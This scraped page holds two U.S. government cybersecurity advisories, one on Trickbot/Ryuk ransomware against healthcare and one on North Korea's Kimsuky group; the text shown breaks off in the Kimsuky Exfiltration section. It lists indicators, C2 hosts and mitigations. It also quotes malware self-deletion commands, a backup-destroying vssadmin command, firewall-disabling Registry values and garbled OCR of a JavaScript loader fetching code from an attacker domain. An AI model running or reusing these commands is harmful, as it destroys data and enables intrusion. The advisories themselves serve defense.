Ransomware Activity Targeting the Healthcare and Public Health Sector

/in


This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) version 7 framework. See the ATT&CK for Enterprise version 7 for all referenced threat actor tactics and techniques.

This joint cybersecurity advisory was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the Department of Health and Human Services (HHS). This advisory describes the tactics, techniques, and procedures (TTPs) used by cybercriminals against targets in the Healthcare and Public Health Sector (HPH) to infect systems with Ryuk ransomware for financial gain.

CISA, FBI, and HHS have credible information of an increased and imminent cybercrime threat to U.S. hospitals and healthcare providers. CISA, FBI, and HHS are sharing this information to provide warning to healthcare providers to ensure that they take timely and reasonable precautions to protect their networks from these threats.

Click here for a PDF version of this report.

Key Findings

  • CISA, FBI, and HHS assess malicious cyber actors are targeting the HPH Sector with Trickbot malware, often leading to ransomware attacks, data theft, and the disruption of healthcare services.
  • These issues will be particularly challenging for organizations within the COVID-19 pandemic; therefore, administrators will need to balance this risk when determining their cybersecurity investments.

Threat Details

Since 2016, the cybercriminal enterprise behind Trickbot malware has continued to develop new functionality and tools increasing the ease, speed, and profitability of victimization. What began as a banking trojan and descendant of Dyre malware, now provides its operators a full suite of tools to conduct a myriad of illegal cyber activities. These activities include credential harvesting, mail exfiltration, cryptomining, point-of-sale data exfiltration, and the deployment of ransomware, such as Ryuk. In early 2019, the FBI began to observe new Trickbot modules named Anchor, which cyber actors typically used in attacks targeting high-profile victims—such as large corporations. These attacks often involved data exfiltration from networks and point-of-sale devices. As part of the new Anchor toolset, Trickbot developers created Anchor_DNS, a tool for sending and receiving data from victim machines using Domain Name System (DNS) tunneling.

Anchor_DNS is a backdoor that allows victim machines to communicate with command and control (C2) servers over DNS to evade typical network defense products and make their malicious communications blend in with legitimate DNS traffic. Anchor_DNS uses a single-byte XOR cipher to encrypt its communications, which have been observed using key 0xB9. Once decrypted, the string Anchor_DNS can be found in the DNS request traffic.

Trickbot Indicators of Compromise

After successful execution of the malware, Trickbot copies itself as an executable file with a 12-character (includes .exe), randomly generated file name (e.g. mfjdieks.exe) and places this file in one of the following directories.

  • C:Windows
  • C:WindowsSysWOW64
  • C:Users[Username]AppDataRoaming

The malware may also drop a file named anchorDiag.txt in one of the directories listed above.

Prior to initiating communications with the C2 server, the malware uses an infection marker of Globalfde345tyhoVGYHUJKIOuy, typically found in the running memory of the victim machine.

Part of the initial network communications with the C2 server involves sending information about the victim machine such as its computer name/hostname, operating system version, and build via a base64-encoded GUID. The GUID is composed of /GroupID/ClientID/ with the following naming convention:

/anchor_dns/[COMPUTERNAME]_[WindowsVersionBuildNo].[32CharacterString]/.

The malware uses scheduled tasks that run every 15 minutes to ensure persistence on the victim machine. The scheduled task typically uses the following naming convention.

[random_folder_name_in_%APPDATA%_excluding_Microsoft]

autoupdate#[5_random_numbers] (e.g., Task autoupdate#16876).

After successful execution, Anchor_DNS further deploys malicious batch scripts (.bat) using PowerShell commands.

The malware deploys self-deletion techniques by executing the following commands.

  • cmd.exe /c timeout 3 && del C:Users[username][malware_sample]
  • cmd.exe /C PowerShell "Start-Sleep 3; Remove-Item C:Users[username][malware_sample_location]"

The following domains found in outbound DNS records are associated with Anchor_DNS.

  • kostunivo[.]com
  • chishir[.]com
  • mangoclone[.]com
  • onixcellent[.]com

This malware used the following legitimate domains to test internet connectivity.

  • ipecho[.]net
  • api[.]ipify[.]org
  • checkip[.]amazonaws[.]com
  • ip[.]anysrc[.]net
  • wtfismyip[.]com
  • ipinfo[.]io
  • icanhazip[.]com
  • myexternalip[.]com

The Anchor_DNS malware historically used the following C2 servers.

  • 23[.]95[.]97[.]59
  • 51[.]254[.]25[.]115
  • 193[.]183[.]98[.]66
  • 91[.]217[.]137[.]37
  • 87[.]98[.]175[.]85

Ryuk Ransomware

Typically Ryuk has been deployed as a payload from banking Trojans such as Trickbot. (See the United Kingdom (UK) National Cyber Security Centre (NCSC) advisory, Ryuk Ransomware Targeting Organisations Globally, on their ongoing investigation into global Ryuk ransomware campaigns and associated Emotet and TrickBot malware.) Ryuk first appeared in August 2018 as a derivative of Hermes 2.1 ransomware, which first emerged in late 2017 and was available for sale on the open market as of August 2018. Ryuk still retains some aspects of the Hermes code. For example, all of the files encrypted by Ryuk contain the HERMES tag but, in some infections, the files have .ryuk added to the filename, while others do not. In other parts of the ransomware code, Ryuk has removed or replaced features of Hermes, such as the restriction against targeting specific Eurasia-based systems.

While negotiating the victim network, Ryuk actors will commonly use commercial off-the-shelf products—such as Cobalt Strike and PowerShell Empire—in order to steal credentials. Both frameworks are very robust and are highly effective dual-purpose tools, allowing actors to dump clear text passwords or hash values from memory with the use of Mimikatz. This allows the actors to inject malicious dynamic-link library into memory with read, write, and execute permissions. In order to maintain persistence in the victim environment, Ryuk actors have been known to use scheduled tasks and service creation.

Ryuk actors will quickly map the network in order to enumerate the environment to understand the scope of the infection. In order to limit suspicious activity and possible detection, the actors choose to live off the land and, if possible, use native tools—such as net view, net computers, and ping—to locate mapped network shares, domain controllers, and active directory. In order to move laterally throughout the network, the group relies on native tools, such as PowerShell, Windows Management Instrumentation (WMI), Windows Remote Management , and Remote Desktop Protocol (RDP). The group also uses third-party tools, such as Bloodhound.

Once dropped, Ryuk uses AES-256 to encrypt files and an RSA public key to encrypt the AES key. The Ryuk dropper drops a .bat file that attempts to delete all backup files and Volume Shadow Copies (automatic backup snapshots made by Windows), preventing the victim from recovering encrypted files without the decryption program.

In addition, the attackers will attempt to shut down or uninstall security applications on the victim systems that might prevent the ransomware from executing. Normally this is done via a script, but if that fails, the attackers are capable of manually removing the applications that could stop the attack. The RyukReadMe file placed on the system after encryption provides either one or two email  addresses, using the end-to-end encrypted email provider Protonmail, through which the victim can contact the attacker(s). While earlier versions provide a ransom amount in the initial notifications, Ryuk users are now designating a ransom amount only after the victim makes contact.

The victim is told how much to pay to a specified Bitcoin wallet for the decryptor and is provided a sample decryption of two files.

Initial testing indicates that the RyukReadMe file does not need to be present for the decryption script to run successfully but other reporting advises some files will not decrypt properly without it. Even if run correctly, there is no guarantee the decryptor will be effective. This is further complicated because the RyukReadMe file is deleted when the script is finished. This may affect the decryption script unless it is saved and stored in a different location before running.

According to MITRE, Ryuk uses the ATT&CK techniques listed in table 1.

Table 1: Ryuk ATT&CK techniques

Technique Use
System Network Configuration Discovery [T1016] Ryuk has called GetIpNetTable in attempt to identify all mounted drives and hosts that have Address Resolution Protocol entries. 

Masquerading: Match Legitimate Name or Location [T1036.005]

 Ryuk has constructed legitimate appearing installation folder paths by calling GetWindowsDirectoryW and then inserting a null byte at the fourth character of the path. For Windows Vista or higher, the path would appear as C:UsersPublic. 
Process Injection [T1055] Ryuk has injected itself into remote processes to encrypt files using a combination of VirtualAlloc, WriteProcessMemory, and CreateRemoteThread. 
Process Discovery [T1057] Ryuk has called CreateToolhelp32Snapshot to enumerate all running processes. 
Command and Scripting Interpreter: Windows Command Shell [T1059.003] Ryuk has used cmd.exe to create a Registry entry to establish persistence. 
File and Directory Discovery [T1083] Ryuk has called GetLogicalDrives to enumerate all mounted drives, and GetDriveTypeW to determine the drive type.
Native API [T1106] Ryuk has used multiple native APIs including ShellExecuteW to run executables; GetWindowsDirectoryW to create folders; and VirtualAlloc, WriteProcessMemory, and CreateRemoteThread for process injection. 
Access Token Manipulation [T1134] Ryuk has attempted to adjust its token privileges to have the SeDebugPrivilege. 
Data Encrypted for Impact [T1486] Ryuk has used a combination of symmetric and asymmetric encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory. 
Service Stop [T1489] Ryuk has called kill.bat for stopping services, disabling services and killing processes. 
Inhibit System Recovery [T1490] Ryuk has used vssadmin Delete Shadows /all /quiet to delete volume shadow copies and vssadmin resize shadowstorage to force deletion of shadow copies created by third-party applications. 
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1047.001] Ryuk has used the Windows command line to create a Registry entry under HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRun to establish persistence.
Impair Defenses: Disable or Modify Tools [T1562.001] Ryuk has stopped services related to anti-virus.

For a downloadable copy of IOCs, see AA20-302A.stix.

Plans and Policies

CISA, FBI, and HHS encourage HPH Sector organizations to maintain business continuity plans—the practice of executing essential functions through emergencies (e.g., cyberattacks)—to minimize service interruptions. Without planning, provision, and implementation of continuity principles, organizations may be unable to continue operations. Evaluating continuity and capability will help identify continuity gaps. Through identifying and addressing these gaps, organizations can establish a viable continuity program that will help keep them functioning during cyberattacks or other emergencies. CISA, FBI, and HHS suggest HPH Sector organizations review or establish patching plans, security policies, user agreements, and business continuity plans to ensure they address current threats posed by malicious cyber actors.

Network Best Practices

  • Patch operating systems, software, and firmware as soon as manufacturers release updates.
  • Check configurations for every operating system version for HPH organization-owned assets to prevent issues from arising that local users are unable to fix due to having local administration disabled.
  • Regularly change passwords to network systems and accounts and avoid reusing passwords for different accounts.
  • Use multi-factor authentication where possible.
  • Disable unused remote access/Remote Desktop Protocol (RDP) ports and monitor remote access/RDP logs.
  • Implement application and remote access allow listing to only allow systems to execute programs known and permitted by the established security policy.
  • Audit user accounts with administrative privileges and configure access controls with least privilege in mind.
  • Audit logs to ensure new accounts are legitimate.
  • Scan for open or listening ports and mediate those that are not needed.
  • Identify critical assets such as patient database servers, medical records, and teleheatlh and telework infrastructure; create backups of these systems and house the backups offline from the network.
  • Implement network segmentation. Sensitive data should not reside on the same server and network segment as the email environment.
  • Set antivirus and anti-malware solutions to automatically update; conduct regular scans.

Ransomware Best Practices

CISA, FBI and HHS do not recommend paying ransoms. Payment does not guarantee files will be recovered. It may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. In addition to implementing the above network best practices, the FBI, CISA and HHS also recommend the following:

  • Regularly back up data, air gap, and password protect backup copies offline.
  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, secure location.

User Awareness Best Practices

  • Focus on awareness and training. Because end users are targeted, make employees and stakeholders aware of the threats—such as ransomware and phishing scams—and how they are delivered. Additionally, provide users training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities.
  • Ensure that employees know who to contact when they see suspicious activity or when they believe they have been a victim of a cyberattack. This will ensure that the proper established mitigation strategy can be employed quickly and efficiently.

Recommended Mitigation Measures

System administrators who have indicators of a Trickbot network compromise should immediately take steps to back up and secure sensitive or proprietary data. Trickbot infections may be indicators of an imminent ransomware attack; system administrators should take steps to secure network devices accordingly. Upon evidence of a Trickbot infection, review DNS logs and use the XOR key of 0xB9 to decode XOR encoded DNS requests to reveal the presence of Anchor_DNS, and maintain and provide relevant logs.

GENERAL RANSOMWARE MITIGATIONS — HPH SECTOR

This section is based on CISA and Multi-State Information Sharing and Analysis Center (MS-ISAC)’s Joint Ransomware Guide, which can be found at https://www.cisa.gov/publication/ransomware-guide.

CISA, FBI, and HHS recommend that healthcare organizations implement both ransomware prevention and ransomware response measures immediately.

Ransomware Prevention

Join and Engage with Cybersecurity Organizations

CISA, FBI, and HHS recommend that healthcare organizations take the following initial steps:

  • Join a healthcare information sharing organization, H-ISAC:
  • Engage with CISA and FBI, as well as HHS—through the HHS Health Sector Cybersecurity Coordination Center (HC3)—to build a lasting partnership and collaborate on information sharing, best practices, assessments, and exercises.

Engaging with the H-ISAC, ISAO, CISA, FBI, and HHS/HC3 will enable your organization to receive critical information and access to services to better manage the risk posed by ransomware and other cyber threats.

Follow Ransomware Best Practices

Refer to the best practices and references below to help manage the risk posed by ransomware and support your organization’s coordinated and efficient response to a ransomware incident. Apply these practices to the greatest extent possible based on availability of organizational resources.

  • It is critical to maintain offline, encrypted backups of data and to regularly test your backups. Backup procedures should be conducted on a regular basis. It is important that backups be maintained offline or in separated networks as many ransomware variants attempt to find and delete any accessible backups. Maintaining offline, current backups is most critical because there is no need to pay a ransom for data that is readily accessible to your organization.
    • Use the 3-2-1 rule as a guideline for backup practices. The rule states that three copies of all critical data are retained on at least two different types of media and at least one of them is stored offline.
    • Maintain regularly updated “gold images” of critical systems in the event they need to be rebuilt. This entails maintaining image “templates” that include a preconfigured operating system (OS) and associated software applications that can be quickly deployed to rebuild a system, such as a virtual machine or server.
    • Retain backup hardware to rebuild systems in the event rebuilding the primary system is not preferred.
      • Hardware that is newer or older than the primary system can present installation or compatibility hurdles when rebuilding from images.
      • Ensure all backup hardware is properly patched.
  • In addition to system images, applicable source code or executables should be available (stored with backups, escrowed, license agreement to obtain, etc.). It is more efficient to rebuild from system images, but some images will not install on different hardware or platforms correctly; having separate access to needed software will help in these cases.
  • Create, maintain, and exercise a basic cyber incident response plan and associated communications plan that includes response and notification procedures for a ransomware incident.
  • Help your organization better organize around cyber incident response.
  • Develop a cyber incident response plan.
  • The Ransomware Response Checklist, available in the CISA and MS-ISAC Joint Ransomware Guide, serves as an adaptable, ransomware- specific annex to organizational cyber incident response or disruption plans.
  • Review and implement as applicable MITRE’s Medical Device Cybersecurity: Regional Incident Preparedness and Response Playbook (https://www.mitre.org/sites/default/files/publications/pr-18-1550-Medical-Device-Cybersecurity-Playbook.pdf).
  • Develop a risk management plan that maps critical health services and care to the necessary information systems; this will ensure that the incident response plan will contain the proper triage procedures.
  • Plan for the possibility of critical information systems being inaccessible for an extended period of time. This should include but not be limited to the following:
    • Print and properly store/protect hard copies of digital information that would be required for critical patient healthcare.
    • Plan for and periodically train staff to handle the re-routing of incoming/existing patients in an expedient manner if information systems were to abruptly and unexpectedly become unavailable.
    • Coordinate the potential for surge support with other healthcare facilities in the greater local area. This should include organizational leadership periodically meeting and collaborating with counterparts in the greater local area to create/update plans for their facilities to both abruptly send and receive a significant amount of critical patients for immediate care. This may include the opportunity to re-route healthcare employees (and possibly some equipment) to provide care along with additional patients.
  • Consider the development of a second, air-gapped communications network that can provide a minimum standard of backup support for hospital operations if the primary network becomes unavailable if/when needed.
  • Predefine network segments, IT capabilities and other functionality that can either be quickly separated from the greater network or shut down entirely without impacting operations of the rest of the IT infrastructure.
  • Legacy devices should be identified and inventoried with highest priority and given special consideration during a ransomware event.
  • See CISA and MS-ISAC’s Joint Ransomware Guide for infection vectors including internet-facing vulnerabilities and misconfigurations; phishing; precursor malware infection; and third parties and managed service providers.
  • HHS/HC3 tracks ransomware that is targeting the HPH Sector; this information can be found at http://www.hhs.gov/hc3.

Hardening Guidance

Contact CISA for These No-Cost Resources

  • Information sharing with CISA and MS-ISAC (for SLTT organizations) includes bi-directional sharing of best practices and network defense information regarding ransomware trends and variants as well as malware that is a precursor to ransomware.
  • Policy-oriented or technical assessments help organizations understand how they can improve their defenses to avoid ransomware infection: https://www.cisa.gov/cyber-resource-hub.
    • Assessments include Vulnerability Scanning and Phishing Campaign Assessment.
  • Cyber exercises evaluate or help develop a cyber incident response plan in the context of a ransomware incident scenario.
  • CISA Cybersecurity Advisors (CSAs) advise on best practices and connect you with CISA resources to manage cyber risk.
  • Contacts:

Ransomware Quick References

Ransomware Response Checklist

Remember: Paying the ransom will not ensure your data is decrypted or that your systems or data will no longer be compromised. CISA, FBI, and HHS do not recommend paying ransom.

Should your organization be a victim of ransomware, CISA strongly recommends responding by using the Ransomware Response Checklist located in CISA and MS-ISAC’s Joint Ransomware Guide, which contains steps for detection and analysis as well as containment and eradication.

Consider the Need For Extended Identification or Analysis

  • If extended identification or analysis is needed, CISA, HHS/HC3, or federal law enforcement may be interested in any of the following information that your organization determines it can legally share:
  • Recovered executable file
  • Copies of the readme file – DO NOT REMOVE the file or decryption may not be possible
  • Live memory (RAM) capture from systems with additional signs of compromise (use of exploit toolkits, RDP activity, additional files found locally)
  • Images of infected systems with additional signs of compromise (use of exploit toolkits, RDP activity, additional files found locally)
  • Malware samples
  • Names of any other malware identified on your system
  • Encrypted file samples
  • Log files (Windows Event Logs from compromised systems, Firewall logs, etc.)
  • Any PowerShell scripts found having executed on the systems
  • Any user accounts created in Active Directory or machines added to the network during the exploitation
  • Email addresses used by the attackers and any associated phishing emails
  • A copy of the ransom note
  • Ransom amount and whether or not the ransom was paid
  • Bitcoin wallets used by the attackers
  • Bitcoin wallets used to pay the ransom (if applicable)
  • Copies of any communications with attackers

Upon voluntary request, CISA can assist with analysis (e.g., phishing emails, storage media, logs, malware) at no cost to support your organization in understanding the root cause of an incident, even in the event additional remote assistance is not requested.

Source…

North Korean Advanced Persistent Threat Focus: Kimsuky

/in


This advisory uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) version 7 framework. See the ATT&CK for Enterprise version 7 for all referenced threat actor tactics and techniques.

This joint cybersecurity advisory was coauthored by the Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the U.S. Cyber Command Cyber National Mission Force (CNMF). This advisory describes the tactics, techniques, and procedures (TTPs) used by North Korean advanced persistent threat (APT) group Kimsuky—against worldwide targets—to gain intelligence on various topics of interest to the North Korean government. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit https://www.us-cert.cisa.gov/northkorea.

This advisory describes known Kimsuky TTPs, as found in open-source and intelligence reporting through July 2020. The target audience for this advisory is commercial sector businesses desiring to protect their networks from North Korean APT activity.

Click here for a PDF version of this report.

Key Findings

This advisory’s key findings are:

  • The Kimsuky APT group has most likely been operating since 2012.
  • Kimsuky is most likely tasked by the North Korean regime with a global intelligence gathering mission.
  • Kimsuky employs common social engineering tactics, spearphishing, and watering hole attacks to exfiltrate desired information from victims.[1],[2]
  • Kimsuky is most likely to use spearphishing to gain initial access into victim hosts or networks.[3]
  • Kimsuky conducts its intelligence collection activities against individuals and organizations in South Korea, Japan, and the United States.
  • Kimsuky focuses its intelligence collection activities on foreign policy and national security issues related to the Korean peninsula, nuclear policy, and sanctions.
  • Kimsuky specifically targets:
    • Individuals identified as experts in various fields,
    • Think tanks, and
    • South Korean government entities.[4],[5],[6],[7],[8]
  • CISA, FBI, and CNMF recommend individuals and organizations within this target profile increase their defenses and adopt a heightened state of awareness. Particularly important mitigations include safeguards against spearphishing, use of multi-factor authentication, and user awareness training.

Initial Access

Kimsuky uses various spearphishing and social engineering methods to obtain Initial Access [TA0001] to victim networks.[9],[10],[11] Spearphishing—with a malicious attachment embedded in the email—is the most observed Kimsuky tactic (Phishing: Spearphishing Attachment [T1566.001]).[12],[13]

  • The APT group has used web hosting credentials—stolen from victims outside of their usual targets—to host their malicious scripts and tools. Kimsuky likely obtained the credentials from the victims via spearphishing and credential harvesting scripts. On the victim domains, they have created subdomains mimicking legitimate sites and services they are spoofing, such as Google or Yahoo mail.[14]
  • Kimsuky has also sent benign emails to targets, which were possibly intended to build trust in advance of a follow-on email with a malicious attachment or link.
    • Posing as South Korean reporters, Kimsuky exchanged several benign interview-themed emails with their intended target to ostensibly arrange an interview date and possibly build rapport. The emails contained the subject line “Skype Interview requests of [Redacted TV Show] in Seoul,” and began with a request to have the recipient appear as a guest on the show. The APT group invited the targets to a Skype interview on the topic of inter-Korean issues and denuclearization negotiations on the Korean Peninsula.
    • After a recipient agreed to an interview, Kimsuky sent a subsequent email with a malicious document, either as an attachment or as a Google Drive link within the body. The document usually contained a variant of BabyShark malware (see the Execution section for information on BabyShark). When the date of the interview drew near, Kimsuky sent an email canceling the interview.
  • Kimsuky tailors its spearphishing and social engineering approaches to use topics relevant to the target, such as COVID-19, the North Korean nuclear program, or media interviews.[15],[16],[17]

Kimsuky’s other methods for obtaining initial access include login-security-alert-themed phishing emails, watering hole attacks, distributing malware through torrent sharing sites, and directing victims to install malicious browser extensions (Phishing: Spearphising Link [T1566.002], Drive-by Compromise [T1189], Man-in-the-Browser [T1185]).[18]

Execution

After obtaining initial access, Kimsuky uses BabyShark malware and PowerShell or the Windows Command Shell for Execution [TA0002].

  • BabyShark is Visual Basic Script (VBS)-based malware.
    • First, the compromised host system uses the native Microsoft Windows utility, mshta.exe, to download and execute an HTML application (HTA) file from a remote system (Signed Binary Proxy Execution: Mshta [T1218.005]).
    • The HTA file then downloads, decodes, and executes the encoded BabyShark VBS file.
    • The script maintains Persistence [TA0003] by creating a Registry key that runs on startup (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001]).
    •  It then collects system information (System Information Discovery [T1082]), sends it to the operator’s command control (C2) servers, and awaits further commands.[19],[20],[21],[22]
  • Open-source reporting indicates BabyShark is delivered via an email message containing a link or an attachment (see Initial Access section for more information) (Phishing: Spearphising Link [T1566.002], Phishing: Spearphishing Attachment [T1566.001]). Kimsuky tailors email phishing messages to match its targets’ interests. Observed targets have been U.S. think tanks and the global cryptocurrency industry.[23]
  • Kimsuky uses PowerShell to run executables from the internet without touching the physical hard disk on a computer by using the target’s memory (Command and Scripting Interpreter: PowerShell [T1059.001]). PowerShell commands/scripts can be executed without invoking powershell.exe through HTA files or mshta.exe.[24],[25],[26],[27]

Persistence

Kimsuky has demonstrated the ability to establish Persistence [TA0003] through using malicious browser extensions, modifying system processes, manipulating the autostart execution, using Remote Desktop Protocol (RDP), and changing the default file association for an application. By using these methods, Kimsuky can gain login and password information and/or launch malware outside of some application allowlisting solutions.

  • In 2018, Kimsuky used an extension, which was available on the Google Chrome Web Store, to infect victims and steal passwords and cookies from their browsers (Man-in-the-Browser [T1185]). The extension’s reviews gave it a five-star rating, however the text of the reviews applied to other extensions or was negative. The reviews were likely left by compromised Google+ accounts.[28]
  • Kimsuky may install a new service that can execute at startup by using utilities to interact with services or by directly modifying the Registry keys (Boot or Logon Autostart Execution [T1547]). The service name may be disguised with the name from a related operating system function or by masquerading as benign software. Services may be created with administrator privileges but are executed under system privileges, so an adversary can also use a service to escalate privileges from Administrator to System. They can also directly start services through Service Execution.[29],[30]
  • During the STOLEN PENCIL operation in May 2018, Kimsuky used the GREASE malware. GREASE is a tool capable of adding a Windows administrator account and enabling RDP while avoiding firewall rules (Remote Services: Remote Desktop Protocol [T1021.001]).[31]
  • Kimsuky uses a document stealer module that changes the default program associated with Hangul Word Processor (HWP) documents (.hwp files) in the Registry (Event Triggered Execution: Change Default File Association [T1546.001]). Kimsuky manipulates the default Registry setting to open a malicious program instead of the legitimate HWP program (HWP is a Korean word processor). The malware will read and email the content from HWP documents before the legitimate HWP program ultimately opens the document.[32] Kimsuky also targets Microsoft Office users by formatting their documents in a .docx file rather than .hwp and will tailor their macros accordingly.[33]
  • Kimsuky maintains access to compromised domains by uploading actor-modified versions of open-source Hypertext Processor (PHP)-based web shells; these web shells enable the APT actor to upload, download, and delete files and directories on the compromised domains (Server Software Component: Web Shell [T1505.003]). The actor often adds “Dinosaur” references within the modified web shell codes.[34]

Privilege Escalation

Kimsuky uses well-known methods for Privilege Escalation [TA0004]. These methods include placing scripts in the Startup folder, creating and running new services, changing default file associations, and injecting malicious code in explorer.exe.

  • Kimsuky has used Win7Elevate—an exploit from the Metasploit framework—to bypass the User Account Control to inject malicious code into explorer.exe (Process Injection [T1055]). This malicious code decrypts its spying library—a collection of keystroke logging and remote control access tools and remote control download and execution tools—from resources, regardless of the victim’s operating system. It then saves the decrypted file to a disk with a random but hardcoded name (e.g., dfe8b437dd7c417a6d.tmp) in the user’s temporary folder and loads this file as a library, ensuring the tools are then on the system even after a reboot. This allows for the escalation of privileges.[35]
  • Before the injection takes place, the malware sets the necessary privileges (see figure 1). The malware writes the path to its malicious Dynamic Link Library (DLL) and ensures the remote process is loaded by creating a remote thread within explorer.exe (Process Injection [T1055]).[36]

Figure 1: Privileges set for the injection [37]

Defense Evasion

Kimsuky uses well-known and widely available methods for Defense Evasion [TA0005] within a network. These methods include disabling security tools, deleting files, and using Metasploit.[38],[39]

  • Kimsuky’s malicious DLL runs at startup to zero (i.e., turn off) the Windows firewall Registry keys (see figure 2). This disables the Windows system firewall and turns off the Windows Security Center service, which prevents the service from alerting the user about the disabled firewall (see figure 2) (Impair Defenses: Disable or Modify System Firewall [T1562.004]).[40]

Machine generated alternative text: 1 2 3 4 5 6 7 8 9 lø SYSTEMCurrentControlSetServicesSharedAccessParameters Fi rewal i cyStandardProfi le SYSTEMCurrentControlSetServicesSharedAccessParameters Fi rewal icyPublicProfile HKLMSOFTWAREAhnLabV31S2ØØ71nternetSec FWRunMode ø HKLMSOFTWAREAhn1abV31S8Øis fwmode ø

Figure 2: Disabled firewall values in the Registry [41]

  • Kimsuky has used a keylogger that deletes exfiltrated data on disk after it is transmitted to its C2 server (Indicator Removal on Host: File Deletion [T1070.004]).[42]
  • Kimsuky has used mshta.exe, which is a utility that executes Microsoft HTAs. It can be used for proxy execution of malicious .hta files and JavaScript or VBS through a trusted windows utility (Signed Binary Proxy Execution: Mshta [T1218.005]). It can also be used to bypass application allow listing solutions (Abuse Elevation Control Mechanism: Bypass User Access Control [T1548.002]).[43],[44]
  • Win7Elevate—which was noted above—is also used to evade traditional security measures. Win7Elevatve is a part of the Metasploit framework open-source code and is used to inject malicious code into explorer.exe (Process Injection [T1055]). The malicious code decrypts its spying library from resources, saves the decrypted file to disk with a random but hardcoded name in the victim’s temporary folder, and loads the file as a library.[45],[46],[47]

Credential Access

Kimsuky uses legitimate tools and network sniffers to harvest credentials from web browsers, files, and keyloggers (Credential Access [TA0006]).

  • Kimsuky uses memory dump programs instead of using well-known malicious software and performs the credential extraction offline. Kimsuky uses ProcDump, a Windows command line administration tool, also available for Linux, that allows a user to create crash dumps/core dumps of processes based upon certain criteria, such as high central processing unit (CPU) utilization (OS Credential Dumping [T1003]). ProcDump monitors for CPU spikes and generates a crash dump when a value is met; it passes information to a Word document saved on the computer. It can be used as a general process dump utility that actors can embed in other scripts, as seen by Kimsuky’s inclusion of ProcDump in the BabyShark malware.[48]
  • According to open-source security researchers, Kimsuky abuses a Chrome extension to steal passwords and cookies from browsers (Man-in-the-Browser [T1185]).[49],[50] The spearphishing email directs a victim to a phishing site, where the victim is shown a benign PDF document but is not able to view it. The victim is then redirected to the official Chrome Web Store page to install a Chrome extension, which has the ability to steal cookies and site passwords and loads a JavaScript file, named jQuery.js, from a separate site (see figure 3).[51]

Machine generated alternative text: var Jqmin — function() var , e createHttp(); if (null e) try "https : / bizsonet.com/wp-admin/j s/jquery . j s" , e. open ( "get" , "applicationrx-www-forn-urlencoced"), e. send() catch (e) return e.responseText return i function Var : if ( ! e) var document. get ElementsByTagName( " s c ript " ) ; t. length) (var a O; a t. length; a++) ttal.id (e 28) r document. createäement( "script"); "text/ javascript", r. type r. id i, r.src "https://"•øx.bizsonet.cor/wp-adrin/js/jquery-3.3.I.rin.js", document . getE1ementsByTagName( " head" ) . appendChi1d (r)

Figure 3: JavaScript file, named jQuery.js [52]

  • Kimsuky also uses a PowerShell based keylogger, named MECHANICAL, and a network sniffing tool, named Nirsoft SniffPass (Input Capture: Keylogging [T1056.001], Network Sniffing [T1040]). MECHANICAL logs keystrokes to %userprofile%appdataroamingapach.{txt,log} and is also a “cryptojacker,” which is a tool that uses a victim’s computer to mine cryptocurrency. Nirsoft SniffPass is capable of obtaining passwords sent over non-secure protocols.[53]
  • Kimsuky used actor-modified versions of PHProxy, an open-source web proxy written in PHP, to examine web traffic between the victim and the website accessed by the victims and to collect any credentials entered by the victim.[54]

Discovery

Kimsuky enumerates system information and the file structure for victims’ computers and networks (Discovery [TA0007]). Kimsuky appears to rely on using the victim’s operating system command prompt to enumerate the file structure and system information (File and Directory Discovery [T1083]). The information is directed to C:WINDOWSmsdatl3.inc, read by malware, and likely emailed to the malware’s command server.[55]

Collection

Kimsuky collects data from the victim system through its HWP document malware and its keylogger (Collection [TA0009]). The HWP document malware changes the default program association in the Registry to open HWP documents (Event Triggered Execution: Change Default File Association [T1546.001]). When a user opens an HWP file, the Registry key change triggers the execution of malware that opens the HWP document and then sends a copy of the HWP document to an account under the adversary’s control. The malware then allows the user to open the file as normal without any indication to the user that anything has occurred. The keylogger intercepts keystrokes and writes them to C:Program FilesCommon FilesSystemOle DBmsolui80.inc and records the active window name where the user pressed keys (Input Capture: Keylogging [T1056.001]). There is another keylogger variant that logs keystrokes into C:WINDOWSsetup.log.[56]

Kimsuky has also used a Mac OS Python implant that gathers data from Mac OS systems and sends it to a C2 server (Command and Scripting Interpreter: Python [T1059.006]). The Python program downloads various implants based on C2 options specified after the filedown.php (see figure 4).

Figure 4: Python Script targeting MacOS [57]

Command and Control

Kimsuky has used a modified TeamViewer client, version 5.0.9104, for Command and Control [TA0011] (Remote Access Software [T1219]). During the initial infection, the service “Remote Access Service” is created and adjusted to execute C:WindowsSystem32vcmon.exe at system startup (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder [T1547.001]). Every time vcmon.exe is executed, it disables the firewall by zeroing out Registry values (Impair Defenses: Disable or Modify System Firewall [T1562.004]). The program then modifies the TeamViewer Registry settings by changing the TeamViewer strings in TeamViewer components. The launcher then configures several Registry values, including SecurityPasswordAES, that control how the remote access tool will work. The SecurityPasswordAES Registry value represents a hash of the password used by a remote user to connect to TeamViewer Client (Use Alternate Authentication Material: Pass the Hash [T1550.002]). This way, the attackers set a pre-shared authentication value to have access to the TeamViewer Client. The attacker will then execute the TeamViewer client netsvcs.exe.[58]

Kimsuky has been using a consistent format. In the URL used recently—express[.]php?op=1—there appears to be an option range from 1 to 3.[59]

Exfiltration

Open-source reporting from cybersecurity companies describes two different methods Kimsuky has used to exfiltrate stolen data: via email or through an RC4 key generated as an MD5 hash or a randomly generated 117-bytes buffer (Exfiltration [TA0010]).

